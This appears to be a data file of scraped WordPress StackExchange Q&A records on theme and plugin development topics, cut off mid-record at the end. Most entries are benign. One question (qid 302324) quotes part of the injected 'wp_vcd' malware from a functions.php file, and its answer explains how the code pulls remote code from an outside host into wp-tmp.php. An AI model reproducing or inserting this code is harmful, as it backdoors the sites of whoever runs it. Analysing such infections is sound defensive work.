qid int64 4 8.14M | question stringlengths 20 48.3k | answers list | date stringlengths 10 10 | metadata list | input stringlengths 12 45k | output stringlengths 2 31.8k |
|---|---|---|---|---|---|---|
301,865 | <p>I'm setting up a wordpress site for someone who is going to be continually editing and expanding the pages. Right now we have sometimes up to 50 images per page all manually labeled "figure x.x". He wants to be able to add images and have the page automatically renumber the figures so that he doesn't have to update ... | [
{
"answer_id": 301848,
"author": "Shameem Ali",
"author_id": 137710,
"author_profile": "https://wordpress.stackexchange.com/users/137710",
"pm_score": -1,
"selected": false,
"text": "<p>See: <a href=\"http://codex.wordpress.org/Function_Reference/is_home\" rel=\"nofollow noreferrer\">htt... | 2018/04/25 | [
"https://wordpress.stackexchange.com/questions/301865",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142487/"
] | I'm setting up a wordpress site for someone who is going to be continually editing and expanding the pages. Right now we have sometimes up to 50 images per page all manually labeled "figure x.x". He wants to be able to add images and have the page automatically renumber the figures so that he doesn't have to update all... | Thank you guys for quick response.
Here is the code that worked for me.
```
<?php if( is_home() != '' && !is_paged()) { ?>
div here
<?php } ?>
``` |
301,871 | <p>I have a shortcode in use at present that embeds a button on selected product pages. Upon clicking this button, the user is brought to a contact form on another page and the title of the Product from where the button was clicked is appended to the end of the contact form URL as a query string. This product title is ... | [
{
"answer_id": 301873,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": false,
"text": "<p>The <a href=\"https://www.php.net/manual/en/function.urlencode.php\" rel=\"nofollow noreferrer\"><code>urlen... | 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301871",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142491/"
] | I have a shortcode in use at present that embeds a button on selected product pages. Upon clicking this button, the user is brought to a contact form on another page and the title of the Product from where the button was clicked is appended to the end of the contact form URL as a query string. This product title is the... | To encode the URL, you could use the PHP `urlencode( $url )` function or use the WordPress `urlencode_deep( $array | $str );` function.
```
add_shortcode( 'dynamic_contact_button', 'button_product_page' );
function button_product_page() {
global $product;
return urlencode( "/contact-form/?products=Product:... |
301,884 | <p>I have the following permalink structure <strong>/%category%/blog/%postname%</strong>/.</p>
<p>I also have an archive at /blog which lists all blog posts.</p>
<p>I have one particular category for which I'd like the permalink structure to be <strong>/blog/%postname%/</strong></p>
<p>This is the code I've tried :... | [
{
"answer_id": 301873,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": false,
"text": "<p>The <a href=\"https://www.php.net/manual/en/function.urlencode.php\" rel=\"nofollow noreferrer\"><code>urlen... | 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301884",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142495/"
] | I have the following permalink structure **/%category%/blog/%postname%**/.
I also have an archive at /blog which lists all blog posts.
I have one particular category for which I'd like the permalink structure to be **/blog/%postname%/**
This is the code I've tried :
```
add_filter( 'post_link', 'custom_permalink',... | To encode the URL, you could use the PHP `urlencode( $url )` function or use the WordPress `urlencode_deep( $array | $str );` function.
```
add_shortcode( 'dynamic_contact_button', 'button_product_page' );
function button_product_page() {
global $product;
return urlencode( "/contact-form/?products=Product:... |
301,918 | <p>I want to show 4 posts from a WordPress post type where 1 will show the post from the link format and the other 3 will be shown from another format.</p>
<p>So in this case, how to use the query or what method would be better if someone can give an idea? </p>
<p><a href="https://i.stack.imgur.com/JcbZX.png" rel="no... | [
{
"answer_id": 301920,
"author": "Minh",
"author_id": 142410,
"author_profile": "https://wordpress.stackexchange.com/users/142410",
"pm_score": 1,
"selected": false,
"text": "<p>In the loop:</p>\n\n<pre><code>while ( have_posts() ) : the_post();\n\n get_template_part( 'template-parts/co... | 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301918",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110238/"
] | I want to show 4 posts from a WordPress post type where 1 will show the post from the link format and the other 3 will be shown from another format.
So in this case, how to use the query or what method would be better if someone can give an idea?
[](https://i.stac... | Yes, this can be done, but it's quite some work, so I'm only going to give you the outline:
First, if you look at the last example under [taxonomy parameters of `wp_query`](https://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters) you will see that you can query post formats as a taxonomy. So you would... |
301,928 | <p>I want to display different titles in category archives than the category title.</p>
<p>I have created a function with if statements for this purpose:</p>
<pre><code>function category_titles_change() {
if (is_category('name1')) { ?>
new title 1
<?php }
elseif (is_category('name2')) { ?&... | [
{
"answer_id": 301934,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>You shouldn't use <code>wp_head</code> action - it doesn't give you a chance to modify title that is ... | 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301928",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80031/"
] | I want to display different titles in category archives than the category title.
I have created a function with if statements for this purpose:
```
function category_titles_change() {
if (is_category('name1')) { ?>
new title 1
<?php }
elseif (is_category('name2')) { ?>
new title 2
... | You shouldn't use `wp_head` action - it doesn't give you a chance to modify title that is already printed. But WordPress has special hook for that: [`wp_title`](https://developer.wordpress.org/reference/hooks/wp_title/).
The code below should do the trick:
```
function my_change_category_title( $title, $sep ) {
i... |
301,935 | <p>Currently, on my website homepage, I am using woocommerce shortcodes to display products from certain categories and have opted to show 5 products on Desktop which fits in well with the screen width...</p>
<p>However, on mobile devices, the shortcode also causes 5 products to be displayed which looks messy.</p>
<p... | [
{
"answer_id": 301934,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>You shouldn't use <code>wp_head</code> action - it doesn't give you a chance to modify title that is ... | 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301935",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136430/"
] | Currently, on my website homepage, I am using woocommerce shortcodes to display products from certain categories and have opted to show 5 products on Desktop which fits in well with the screen width...
However, on mobile devices, the shortcode also causes 5 products to be displayed which looks messy.
I was wondering ... | You shouldn't use `wp_head` action - it doesn't give you a chance to modify title that is already printed. But WordPress has special hook for that: [`wp_title`](https://developer.wordpress.org/reference/hooks/wp_title/).
The code below should do the trick:
```
function my_change_category_title( $title, $sep ) {
i... |
301,988 | <p>I have the following function in my project:</p>
<pre><code>function cr_get_menu_items($menu_location)
{
$locations = get_nav_menu_locations();
$menu = get_term($locations[$menu_location], 'nav_menu');
return wp_get_nav_menu_items($menu->term_id);
}
</code></pre>
<p>The function is used in my theme ... | [
{
"answer_id": 301990,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>Let's take a look at <code>wp_get_nav_menu_items</code> <a href=\"https://developer.wordpress.org/refe... | 2018/04/26 | [
"https://wordpress.stackexchange.com/questions/301988",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/115186/"
] | I have the following function in my project:
```
function cr_get_menu_items($menu_location)
{
$locations = get_nav_menu_locations();
$menu = get_term($locations[$menu_location], 'nav_menu');
return wp_get_nav_menu_items($menu->term_id);
}
```
The function is used in my theme like this:
```
<?php $nav ... | Let's take a look at `wp_get_nav_menu_items` [code reference](https://developer.wordpress.org/reference/functions/wp_get_nav_menu_items/).
It takes two parameters:
* `$menu` - (int|string|WP\_Term) (Required) Menu ID, slug, name, or object,
* `$args` - (array) (Optional) Arguments to pass to get\_posts().
So we can ... |
302,012 | <p>I am using the default widget in my sidebar Archive which currently displays the archive this way:</p>
<pre><code>Mar 2018
Feb 2018
Jan 2018
</code></pre>
<p>However, I'd like it to display this way:</p>
<pre><code>2018
March
February
January
2017
December
November
October
</code></pre>
<p>Where the months are ... | [
{
"answer_id": 302567,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 3,
"selected": true,
"text": "<p>Changing the default widget would be pretty complicated.</p>\n\n<p>However, you can write your own sho... | 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302012",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/58274/"
] | I am using the default widget in my sidebar Archive which currently displays the archive this way:
```
Mar 2018
Feb 2018
Jan 2018
```
However, I'd like it to display this way:
```
2018
March
February
January
2017
December
November
October
```
Where the months are links. How do I achieve that? What do I do to my ... | Changing the default widget would be pretty complicated.
However, you can write your own shortcode and function to get your desired list.
I'm guessing you want an unordered list in your widget?
Put this in your theme's functions.php:
```
add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');
f... |
302,013 | <p>It's a little hard to explain but I suppose you can understand if I elaborate it even more...</p>
<p>Normally when you search on a WordPress site, the results are either based on Title, Content, Category, Tags.</p>
<p>I want my Search to go through posts and look at custom fields too... So if a user searches for a... | [
{
"answer_id": 302567,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 3,
"selected": true,
"text": "<p>Changing the default widget would be pretty complicated.</p>\n\n<p>However, you can write your own sho... | 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302013",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136090/"
] | It's a little hard to explain but I suppose you can understand if I elaborate it even more...
Normally when you search on a WordPress site, the results are either based on Title, Content, Category, Tags.
I want my Search to go through posts and look at custom fields too... So if a user searches for a specific custom ... | Changing the default widget would be pretty complicated.
However, you can write your own shortcode and function to get your desired list.
I'm guessing you want an unordered list in your widget?
Put this in your theme's functions.php:
```
add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');
f... |
302,039 | <p>My plugin implements a shortcode respecting wp best practices, but a strange behavior appears.
First, the shortcode works perfectly on the test site, but not in production, with the exact same plugin code, but a slightly different environnement.
On production site, the problem is the following:
If i add a parameter ... | [
{
"answer_id": 302567,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 3,
"selected": true,
"text": "<p>Changing the default widget would be pretty complicated.</p>\n\n<p>However, you can write your own sho... | 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302039",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142595/"
] | My plugin implements a shortcode respecting wp best practices, but a strange behavior appears.
First, the shortcode works perfectly on the test site, but not in production, with the exact same plugin code, but a slightly different environnement.
On production site, the problem is the following:
If i add a parameter to ... | Changing the default widget would be pretty complicated.
However, you can write your own shortcode and function to get your desired list.
I'm guessing you want an unordered list in your widget?
Put this in your theme's functions.php:
```
add_shortcode('archive_by_year_and_month','get_archive_by_year_and_month');
f... |
302,040 | <p>I have this code:</p>
<pre><code><div class="video-embed" style="margin-top: 0px; z-index:102; margin-bottom: 0px;">
<?php
$url1 = get_post_meta( $post->ID , 'video_play' , true );
$search = '#(.*?)(?:href="https?://)?(?:www\.)?(?:youtu\.be/|youtube\.com(?:/embed/|/v/|/watch?.*?v=))([\w\-]{10,12}).... | [
{
"answer_id": 302041,
"author": "Bikash Waiba",
"author_id": 121069,
"author_profile": "https://wordpress.stackexchange.com/users/121069",
"pm_score": 2,
"selected": true,
"text": "<p>You can use if else:</p>\n\n<pre><code><div class=\"video-embed\" style=\"margin-top: 0px; z-index:1... | 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302040",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113798/"
] | I have this code:
```
<div class="video-embed" style="margin-top: 0px; z-index:102; margin-bottom: 0px;">
<?php
$url1 = get_post_meta( $post->ID , 'video_play' , true );
$search = '#(.*?)(?:href="https?://)?(?:www\.)?(?:youtu\.be/|youtube\.com(?:/embed/|/v/|/watch?.*?v=))([\w\-]{10,12}).*#x';
$replace = 'http:... | You can use if else:
```
<div class="video-embed" style="margin-top: 0px; z-index:102; margin-bottom: 0px;">
<?php
$url1 = get_post_meta( $post->ID , 'video_play' , true ) ?: get_post_meta( $post->ID , 'video_stop' , true ) ?: false;
if( $url1 ):
$search = '#(.*?)(?:href="https?://)?(?:www\.)?(?:youtu\.be/|... |
302,055 | <p>I am trying to tidy up the <code>post_class</code> function.</p>
<p>I've managed to remove "hentry" class using the filter below, but I would also like to remove the "post-id", "type-" and "status-" classes as well. How can I use my filter to do this?</p>
<pre><code>function lsmwp_remove_postclasses( $classes ) {
... | [
{
"answer_id": 302056,
"author": "wpdev",
"author_id": 133897,
"author_profile": "https://wordpress.stackexchange.com/users/133897",
"pm_score": 0,
"selected": false,
"text": "<pre><code>add_filter( 'post_class', 'remove_hentry_function', 20 );\nfunction remove_hentry_function( $classes ... | 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302055",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142603/"
] | I am trying to tidy up the `post_class` function.
I've managed to remove "hentry" class using the filter below, but I would also like to remove the "post-id", "type-" and "status-" classes as well. How can I use my filter to do this?
```
function lsmwp_remove_postclasses( $classes ) {
$classes = array_diff( $clas... | One way would be to use `preg_match` and remove classes that matches given patterns, but... Since we know `$post_id`, we can use your code with a tiny modification:
```
function lsmwp_remove_postclasses($classes, $class, $post_id) {
$classes = array_diff( $classes, array(
'hentry',
'post-' . $post_... |
302,094 | <p>I'm realizing a sort of "page" inside admin area to insert post manually without the default method. This is only the begin...
Anyway, after firing Insert button of the form, the article is inserted, but i get a big long error: Fatal error: Uncaught Error: Call to undefined function ....</p>
<p>Here is the code:</p... | [
{
"answer_id": 302095,
"author": "Orlando P.",
"author_id": 130535,
"author_profile": "https://wordpress.stackexchange.com/users/130535",
"pm_score": 1,
"selected": false,
"text": "<p>So If I understand correctly you are creating a custom import plugin to wordpress outside the normal wor... | 2018/04/27 | [
"https://wordpress.stackexchange.com/questions/302094",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/141373/"
] | I'm realizing a sort of "page" inside admin area to insert post manually without the default method. This is only the begin...
Anyway, after firing Insert button of the form, the article is inserted, but i get a big long error: Fatal error: Uncaught Error: Call to undefined function ....
Here is the code:
```
<?php
/... | So If I understand correctly you are creating a custom import plugin to wordpress outside the normal wordpress scope.
Therefore you don't have access to the functions inside `.pluggable.php` like `is_user_logged_in` you can redefine them in your plugin or you can just use
```
require_once( ABSPATH . "wp-includes/plug... |
302,130 | <p>Currently by default image have similar classes</p>
<pre><code><img class="size-full wp-image-8996" src="https://nepaltimes.net/wp-content/uploads/2018/04/31043884_1792179470828697_8330507756888915968_n.jpg">
</code></pre>
<p><strong>What i am trying here to add a class as img-fluid to all the attachments in... | [
{
"answer_id": 302172,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>You can use the filter <a href=\"https://developer.wordpress.org/reference/hooks/get_image_tag_class/\" rel=\"nof... | 2018/04/28 | [
"https://wordpress.stackexchange.com/questions/302130",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140003/"
] | Currently by default image have similar classes
```
<img class="size-full wp-image-8996" src="https://nepaltimes.net/wp-content/uploads/2018/04/31043884_1792179470828697_8330507756888915968_n.jpg">
```
**What i am trying here to add a class as img-fluid to all the attachments in posts not the thumbnails.**
```
<img... | You can use the filter [`get_image_tag_class`](https://developer.wordpress.org/reference/hooks/get_image_tag_class/) which exists exactly to do what you want:
```
add_filter('get_image_tag_class','wpse302130_add_image_class');
function wpse302130_add_image_class ($class){
$class .= ' img-fluid';
return $class... |
302,176 | <p>I want to modularly disable emails sent out by WordPress so I can replace them with my own custom emails when necessary.</p>
<p>I tried googling for a list of filter hooks, but couldn't find anything as comprehensive as I would like. I found these two so far:</p>
<pre><code>/**
* Disable default WordPress emails.... | [
{
"answer_id": 302193,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 4,
"selected": false,
"text": "<p><strong>Option 1</strong>: Remove the 'to' argument from <code>wp_mail</code> function in WordPress, it... | 2018/04/28 | [
"https://wordpress.stackexchange.com/questions/302176",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22588/"
] | I want to modularly disable emails sent out by WordPress so I can replace them with my own custom emails when necessary.
I tried googling for a list of filter hooks, but couldn't find anything as comprehensive as I would like. I found these two so far:
```
/**
* Disable default WordPress emails.
*/
add_filter( 'sen... | **Option 1**: Remove the 'to' argument from `wp_mail` function in WordPress, it will keep your system running without sending any default WordPress emails.
```
add_filter('wp_mail','disabling_emails', 10,1);
function disabling_emails( $args ){
unset ( $args['to'] );
return $args;
}
```
The `wp_mail` is a wra... |
302,213 | <p>I'm only just learning WP theme development so this may be a very stupid question, but I have noticed there are different ways to link to the main stylesheet from the <code>index.php</code>:</p>
<pre><code><?php bloginfo('stylesheet_url');?>
<?php echo get_stylesheet_uri(); ?>
</code></pre>
<p><code>R... | [
{
"answer_id": 302221,
"author": "Manyang",
"author_id": 94471,
"author_profile": "https://wordpress.stackexchange.com/users/94471",
"pm_score": -1,
"selected": false,
"text": "<p>I think some functions just different level in chain. Typically the deeper function is more flexible. Like a... | 2018/04/29 | [
"https://wordpress.stackexchange.com/questions/302213",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142694/"
] | I'm only just learning WP theme development so this may be a very stupid question, but I have noticed there are different ways to link to the main stylesheet from the `index.php`:
```
<?php bloginfo('stylesheet_url');?>
<?php echo get_stylesheet_uri(); ?>
```
`Register` and `enqueue` styles via a function and `add_... | Enqueueing via your `functions.php` is by far preferable, because it allows WordPress to keep track of which styles are loaded and in which order. This matters, because when css statement are equivalent, the one that is loaded last will be applied to the page.
This may not matter too much when you are developing a sim... |
302,235 | <p>I'm exporting the content of one plugin to another much more robust plugin. In the data I export, there are fields that come with keys. There is a way to export each one independently (in a column each):</p>
<p>example:</p>
<p>Address | Latitude | Longitude | Email | ....</p>
<p><a href="https://i.stack.imgur.com... | [
{
"answer_id": 302237,
"author": "David Sword",
"author_id": 132362,
"author_profile": "https://wordpress.stackexchange.com/users/132362",
"pm_score": 1,
"selected": false,
"text": "<p>if you're using PHP to handle the export or the import, you can parse the <a href=\"http://php.net/manu... | 2018/04/29 | [
"https://wordpress.stackexchange.com/questions/302235",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140326/"
] | I'm exporting the content of one plugin to another much more robust plugin. In the data I export, there are fields that come with keys. There is a way to export each one independently (in a column each):
example:
Address | Latitude | Longitude | Email | ....
[](https... | **For plugin "All Export":** Create the necessary functions and give it to save and then in each created field add the name of the function corresponding to the necessary field and the variable containing the data is `$value`, example:
```
function address($value){
$data = maybe_unserialize($value);
$data = $data[addr... |
302,249 | <p>I want hide images on excerpts only on the homepage of my blog and only when the screen resolution is under 480px. Is it possible to do this ? </p>
<p>I know I can set an CSS propriety for the width but I don't know how to specifiy only for me homepage, maybe with a function ?</p>
<pre><code>@media only screen and... | [
{
"answer_id": 302237,
"author": "David Sword",
"author_id": 132362,
"author_profile": "https://wordpress.stackexchange.com/users/132362",
"pm_score": 1,
"selected": false,
"text": "<p>if you're using PHP to handle the export or the import, you can parse the <a href=\"http://php.net/manu... | 2018/04/29 | [
"https://wordpress.stackexchange.com/questions/302249",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/131396/"
] | I want hide images on excerpts only on the homepage of my blog and only when the screen resolution is under 480px. Is it possible to do this ?
I know I can set an CSS propriety for the width but I don't know how to specifiy only for me homepage, maybe with a function ?
```
@media only screen and (max-width : 320px) ... | **For plugin "All Export":** Create the necessary functions and give it to save and then in each created field add the name of the function corresponding to the necessary field and the variable containing the data is `$value`, example:
```
function address($value){
$data = maybe_unserialize($value);
$data = $data[addr... |
302,291 | <p>I am setting the header image in WordPress and when I click on the <code>crop</code> button, it shows me the following error:</p>
<p><code>There has been an error cropping your image.</code></p>
<p><a href="https://i.stack.imgur.com/lh1S8.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lh1S8.gif... | [
{
"answer_id": 302296,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>There is too little information to be completely sure, but usually this error occurs when WordPress cannot find ... | 2018/04/30 | [
"https://wordpress.stackexchange.com/questions/302291",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142753/"
] | I am setting the header image in WordPress and when I click on the `crop` button, it shows me the following error:
`There has been an error cropping your image.`
[](https://i.stack.imgur.com/lh1S8.gif) | There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if [Imagick](http://php.net/manual/en/book.imagick.php) and/or [GD](http://php.net/manual/en/book.im... |
302,305 | <p>Wordpress is of course made up of templates and the template parts that make up those templates. I know I can override the template parts - that's not what I'm trying to do here. I'm trying take the HTML generated by said template part and display it elsewhere.</p>
<p>How can I get the rendered HTML data from a te... | [
{
"answer_id": 302296,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>There is too little information to be completely sure, but usually this error occurs when WordPress cannot find ... | 2018/04/30 | [
"https://wordpress.stackexchange.com/questions/302305",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37934/"
] | Wordpress is of course made up of templates and the template parts that make up those templates. I know I can override the template parts - that's not what I'm trying to do here. I'm trying take the HTML generated by said template part and display it elsewhere.
How can I get the rendered HTML data from a template part... | There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if [Imagick](http://php.net/manual/en/book.imagick.php) and/or [GD](http://php.net/manual/en/book.im... |
302,324 | <p>This code below was been injected in my wordpress theme on functions.php
Can someone explain me what does the code do? how that was been done?</p>
<pre><code>$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
... | [
{
"answer_id": 302348,
"author": "Mat",
"author_id": 37985,
"author_profile": "https://wordpress.stackexchange.com/users/37985",
"pm_score": 4,
"selected": true,
"text": "<p>It gets code from a remote location (<a href=\"http://www.linos.cc/code.php\" rel=\"noreferrer\">http://www.linos.... | 2018/04/30 | [
"https://wordpress.stackexchange.com/questions/302324",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86598/"
] | This code below was been injected in my wordpress theme on functions.php
Can someone explain me what does the code do? how that was been done?
```
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (stripo... | It gets code from a remote location (<http://www.linos.cc/code.php>) and stores it within a temporary file using `sys_get_temp_dir()` - <http://php.net/manual/en/function.sys-get-temp-dir.php> - and then creates a `wp-tmp.php` file with the before-mentioned code within your WordPress installation in the following locat... |
302,367 | <p>I am modifying the query for custom archive pages. I am using the pre_get_posts action. I need to catch some GET variables to modify my query. It is working great on the archive page for one custom post type but not the rest. It is breaking my navigation menus.</p>
<pre><code>add_action( 'pre_get_posts', 'search_pr... | [
{
"answer_id": 302370,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 3,
"selected": true,
"text": "<p><code>pre_get_posts</code> runs for every query. That includes the main query, secondary queries, and me... | 2018/05/01 | [
"https://wordpress.stackexchange.com/questions/302367",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27062/"
] | I am modifying the query for custom archive pages. I am using the pre\_get\_posts action. I need to catch some GET variables to modify my query. It is working great on the archive page for one custom post type but not the rest. It is breaking my navigation menus.
```
add_action( 'pre_get_posts', 'search_provider');
fu... | `pre_get_posts` runs for every query. That includes the main query, secondary queries, and menus. The problem is that `is_post_type_archive(array('provider'))` is checking if the *main query* is the post type archive, not a specific query going through `pre_get_posts`.
So when you check for that and then modify the cu... |
302,402 | <p>While I'm developing a website and doing some testing I would like to block access to non-admin (and eventually non-editors) to specific pages such as the woocommerce shop and related pages.</p>
<p>Is there a way, without using plugins, in the <code>functions.php</code> to check:</p>
<pre><code>$list_of_blocked_pa... | [
{
"answer_id": 302413,
"author": "Dim13i",
"author_id": 136052,
"author_profile": "https://wordpress.stackexchange.com/users/136052",
"pm_score": 0,
"selected": false,
"text": "<p>I ended up solving like this:</p>\n\n<pre><code>function block_woocommerce_pages_for_guest() {\n $blocked... | 2018/05/01 | [
"https://wordpress.stackexchange.com/questions/302402",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136052/"
] | While I'm developing a website and doing some testing I would like to block access to non-admin (and eventually non-editors) to specific pages such as the woocommerce shop and related pages.
Is there a way, without using plugins, in the `functions.php` to check:
```
$list_of_blocked_pages = [ 'shop', 'cart', 'checkou... | You can use [template\_redirect](https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect) action to redirect Specific users based on your terms.
This action hook executes just before WordPress determines which template page to load. It is a good hook to use if you need to do a redirect with full know... |
302,419 | <p>I've been looking for ways to do this, and this is what I have so far. As you can see, I've tried many things and I looked around, all the answers for this sort of question are for how to enable execution, not disable it, I'd like to not have to use a plugin, if possible.
The pre and code tags do not display here bu... | [
{
"answer_id": 302424,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": false,
"text": "<p>I think your answer is about escaping not execution, e.g.:</p>\n\n<pre>\n <b>Why does this text appear bo... | 2018/05/01 | [
"https://wordpress.stackexchange.com/questions/302419",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142209/"
] | I've been looking for ways to do this, and this is what I have so far. As you can see, I've tried many things and I looked around, all the answers for this sort of question are for how to enable execution, not disable it, I'd like to not have to use a plugin, if possible.
The pre and code tags do not display here but w... | I think your answer is about escaping not execution, e.g.:
```
**Why does this text appear bold**
```
versus:
```
<b>Why does this text appear bold</b>
```
The problem is escaping, but first, some notes:
The Problem With Calling it Execution
-------------------------------------
Executing is the wr... |
302,519 | <p>Currently when I view one of my products and scroll down to read the description
below the tabs and above the text I have input, it has a heading which simply says <code>description</code> when I look at the code it is as:</p>
<pre><code><h2>description</h2>
</code></pre>
<p>nothing complicated lol.</p... | [
{
"answer_id": 302511,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 2,
"selected": false,
"text": "<p>It sounds like you're asking for autosuggest, which is done with Javascript rather than PHP. PHP requires... | 2018/05/02 | [
"https://wordpress.stackexchange.com/questions/302519",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136430/"
] | Currently when I view one of my products and scroll down to read the description
below the tabs and above the text I have input, it has a heading which simply says `description` when I look at the code it is as:
```
<h2>description</h2>
```
nothing complicated lol.
My question though, is how i can customise this he... | This question is too broad to answer in detail, but here is how I would approach this:
1. Given that WP's native search is slow, we can rule out using this to get intermediate results while the visitor is typing. Unless we have a lightning fast dedicated server.
2. So, this means we will have to build our own index fo... |
302,539 | <p>I need to set up a cron to change role of a user at a specific time. For example- At 8 PM everyday, the role of a specific user should be changed from "Customer" to "Editor" </p>
<p>How to accomplish this in wordpress? </p>
<p>UPDATE: </p>
<p>I have scheduled the function as follows but it's not running at the ti... | [
{
"answer_id": 302542,
"author": "NightHawk",
"author_id": 14656,
"author_profile": "https://wordpress.stackexchange.com/users/14656",
"pm_score": 0,
"selected": false,
"text": "<p>You need to get the user's ID, create a <a href=\"https://codex.wordpress.org/Class_Reference/WP_User\" rel... | 2018/05/02 | [
"https://wordpress.stackexchange.com/questions/302539",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142821/"
] | I need to set up a cron to change role of a user at a specific time. For example- At 8 PM everyday, the role of a specific user should be changed from "Customer" to "Editor"
How to accomplish this in wordpress?
UPDATE:
I have scheduled the function as follows but it's not running at the time set:
```
if( !wp_ne... | You can do something like this
```
add_action("after_switch_theme", "schedule_cron_job"); // hook the schedule on theme switch or plugin activation based on the your usage also switch your theme after putting this on functions.php
function schedule_cron_job(){
if (! wp_next_scheduled ( 'import_into_db' )) {
... |
302,550 | <p>How can I get the ID of the default language equivalent for whatever page I’m currently on?</p>
<p>For example, I’m on <code>abc.com/es/mypage</code>, I want to get the ID of <code>abc.com/mypage</code>.</p>
<p>I tried setting up the variable this way: </p>
<pre><code>$englishID = get_the_id(pll_default_language(... | [
{
"answer_id": 302559,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 2,
"selected": false,
"text": "<p>you can retrieve this identifier with that code :</p>\n<pre><code>$defaultLanguage = pll_default_language();\n\n$... | 2018/05/02 | [
"https://wordpress.stackexchange.com/questions/302550",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/114342/"
] | How can I get the ID of the default language equivalent for whatever page I’m currently on?
For example, I’m on `abc.com/es/mypage`, I want to get the ID of `abc.com/mypage`.
I tried setting up the variable this way:
```
$englishID = get_the_id(pll_default_language());
```
But this just grabs the ID of the page I... | you can retrieve this identifier with that code :
```
$defaultLanguage = pll_default_language();
$translations = pll_get_post_translations($post_ID);
$id = $translations[$defaultLanguage];
``` |
302,574 | <p>I'm developing a WordPress theme with several templates. One template is called "Tabs". If a page with this template assigned has children pages, parts of their contents are shown in tabs on the parent page. Therefore I only want to allow certain templates for the children pages.</p>
<p>Is it possible to modify the... | [
{
"answer_id": 302581,
"author": "cjbj",
